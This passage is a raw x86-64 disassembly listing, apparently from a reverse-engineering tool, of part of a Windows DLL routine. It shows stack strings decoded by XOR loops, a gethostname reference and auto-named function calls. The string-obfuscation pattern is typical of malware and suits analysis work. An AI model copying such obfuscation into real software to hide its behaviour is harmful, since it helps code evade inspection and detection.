movdqu xmmword [rsp + 0xb8], xmm0
mov word [rsp + 0xc8], gethostname
mov rcx, r14
movzx eax, byte [rsp + 0xb8]
xor byte [rsp + rcx + 0xb9], al
inc rcx
cmp rcx, 0x10
jb 0x18006ddc1
mov byte [rsp + 0xc9], 0
lea rax, [rsp + 0xb9]
mov qword [rsp + 0xd8], rax
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x3e0]
call fcn.180070970
nop
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x420]
mov qword [rsp + 0x138], rax
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x288]
call fcn.18006e650
mov rbx, rax
movdqa xmm0, xmmword [0x180272820]
movdqa xmmword [rsp + 0x160], xmm0
movdqa xmm1, xmmword [0x180272920]
movdqa xmmword [rsp + 0x170], xmm1
movdqa xmm0, xmmword [0x180272050]
movdqa xmmword [rsp + 0x180], xmm0
movdqa xmm1, xmmword [0x180272940]
movdqa xmmword [rsp + 0x190], xmm1
movdqa xmm0, xmmword [0x180272660]
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmm1, xmmword [0x1802725d0]
movdqa xmmword [rsp + 0x1b0], xmm1
movdqa xmm0, xmmword [0x180271de0]
movdqa xmmword [rsp + 0x1c0], xmm0
mov dword [rsp + 0x1d0], 0x37727455
mov dword [rsp + 0x1d4], 0x7774696a
mov word [rsp + 0x1d8], 0x4e77
xor eax, eax
mov byte [rsp + 0x1da], al
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rsp + 0x160]
xor byte [rsp + r14 + 0x161], al
inc r14
cmp r14, 0x79
jb 0x18006def0
mov byte [rsp + 0x1da], 0
lea rdx, [rsp + 0x161]
lea rcx, [rsp + 0x260]
call fcn.18000faf0
nop
lea rax, [rsp + 0x260]
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x138], rax
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x2f0]
call fcn.18006a4f0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x4e0]
call fcn.180070df0
nop
lea rcx, [rsp + 0x2f8]
call fcn.180011d00
nop
lea r9, [fcn.18000fae0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rsp + 0x260]
call fcn.1801aa1f8
nop
lea rcx, [rsp + 0x288]
call fcn.18006a870
nop
lea r9, [fcn.18006c8b0]
mov edx, 0x40
lea r8d, [rdx - 0x3e]
lea rcx, [rsp + 0x3a0]
call fcn.1801aa1f8
nop
lea rcx, [rsp + 0x118]
call fcn.18006a870
nop
lea r9, [fcn.18006c8b0]
mov edx, 0x40
lea r8d, [rdx - 0x3f]
lea rcx, [rsp + 0x1e0]
call fcn.1801aa1f8
nop
lea rcx, [rsp + 0x2b8]
call fcn.180011d00
nop
lea r9, [fcn.18000fae0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rsp + 0xe8]
call fcn.1801aa1f8
nop
lea rcx, [rsp + 0x4e0]
call fcn.18006a700
mov r12, qword [rsp + 0x140]
movzx edx, byte [rsp + 0x340]
lea rcx, [rsp + 0x348]
call fcn.180011390
nop
movzx edx, byte [rsp + 0x350]
lea rcx, [rsp + 0x358]
call fcn.180011390
nop
movzx edx, byte [rsp + 0x330]
lea rcx, [rsp + 0x338]
call fcn.180011390
nop
lea rcx, [rsp + 0x360]
call fcn.180011d00
nop
lea rcx, [rsp + 0x380]
call fcn.180011d00
nop
mov rcx, qword [rsp + 0x90]
jmp 0x18006e0be
call fcn.180011d00
nop
mov rcx, r13
call fcn.180011d00
nop
mov rcx, r12
call fcn.180011d00
mov rcx, qword [rsp + 0x628]
xor rcx, rsp
call fcn.1801a9b50
add rsp, 0x630
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret